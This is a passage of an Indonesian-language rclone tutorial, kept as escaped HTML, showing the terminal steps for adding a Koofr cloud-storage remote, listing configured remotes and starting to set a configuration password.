&lt;/span&gt;&lt;span&gt;one?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) New remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;) Set configuration password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;q&lt;/span&gt;&lt;span&gt;) Quit config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n/s/q&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;koofr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ini boleh diisi sesuai nama yang ingin kalian buat.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Option&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Storage.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;of&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;storage&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configure.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Choose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;number&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;below,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;own&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;value.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[snip]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;22&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Koofr,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Digi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Storage&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;and&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;other&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Koofr-compatible&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;storage&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;providers&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; (koofr)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[snip]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Storage&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;koofr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Option&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;provider.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Choose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;storage&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;provider.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Choose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;number&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;below,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;own&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;value.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Press&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;leave&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;empty.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Koofr,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://app.koofr.net/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; (koofr)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Digi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Storage,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://storage.rcs-rds.ro/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; (digistorage)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Any&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;other&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Koofr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;API&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compatible&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;storage&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;service&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; (other)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;provider&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Option&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;user.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;user&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;name.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;value.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;user&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;USERNAME&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Option&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; (generate &lt;/span&gt;&lt;span&gt;one&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;at&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://app.koofr.net/app/admin/preferences/password&lt;/span&gt;&lt;span&gt;).&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Choose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;an&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;alternative&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;below.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y&lt;/span&gt;&lt;span&gt;) Yes, type in my own password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;g&lt;/span&gt;&lt;span&gt;) Generate random password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/g&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Confirm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Edit&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;advanced&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y&lt;/span&gt;&lt;span&gt;) Yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) No (&lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/n&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Remote&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--------------------&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[koofr]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;koofr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;provider&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;koofr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;user&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;USERNAME&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;***&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ENCRYPTED&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;***&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--------------------&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y&lt;/span&gt;&lt;span&gt;) Yes this is OK (&lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;) Edit this remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;) Delete this remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/e/d&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Kita bisa melihat konfigurasi Koofr:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama_drive&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Koofr configuration&quot; loading=&quot;lazy&quot; width=&quot;495&quot; height=&quot;437&quot; src=&quot;/_astro/ss8.DVeJO9Mh_zfLqs.webp&quot; /&gt;&lt;figcaption&gt;Koofr configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Listing remotes&lt;a href=&quot;#listing-remotes&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sekarang, kita dapat melihat daftar cloud storage yang sudah terkonfigurasi:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;listremotes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Listing remotes&quot; loading=&quot;lazy&quot; width=&quot;314&quot; height=&quot;374&quot; src=&quot;/_astro/ss10.CustvBpS_ZUmNdY.webp&quot; /&gt;&lt;figcaption&gt;Listing remotes&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Set Config Password&lt;a href=&quot;#set-config-password&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita bisa menambahkan password untuk konfigurasi &lt;code&gt;rclone&lt;/code&gt; kita, sehingga tidak sembarangan orang dapat mengaksesnya.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, kita tinggal mengikuti alur pembuatan passwordnya:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Current&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remotes:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Name&lt;/span&gt;&lt;span&gt;                 &lt;/span&gt;&lt;span&gt;Type&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;====&lt;/span&gt;&lt;span&gt;                 &lt;/span&gt;&lt;span&gt;====&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;backblaze&lt;/span&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;b2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gdrive&lt;/span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;drive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;koofr&lt;/span&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;koofr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mega&lt;/span&gt;&lt;span&gt;                 &lt;/span&gt;&lt;span&gt;mega&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;onedrive&lt;/span&gt;&lt;span&gt;             &lt;/span&gt;&lt;span&gt;onedrive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;proton&lt;/span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;protondrive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;) Edit existing remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) New remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;) Delete remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;r&lt;/span&gt;&lt;span&gt;) Rename remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;) Copy remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;) Set configuration password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;q&lt;/span&gt;&lt;span&gt;) Quit config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;e/n/d/r/c/s/q&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;s&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
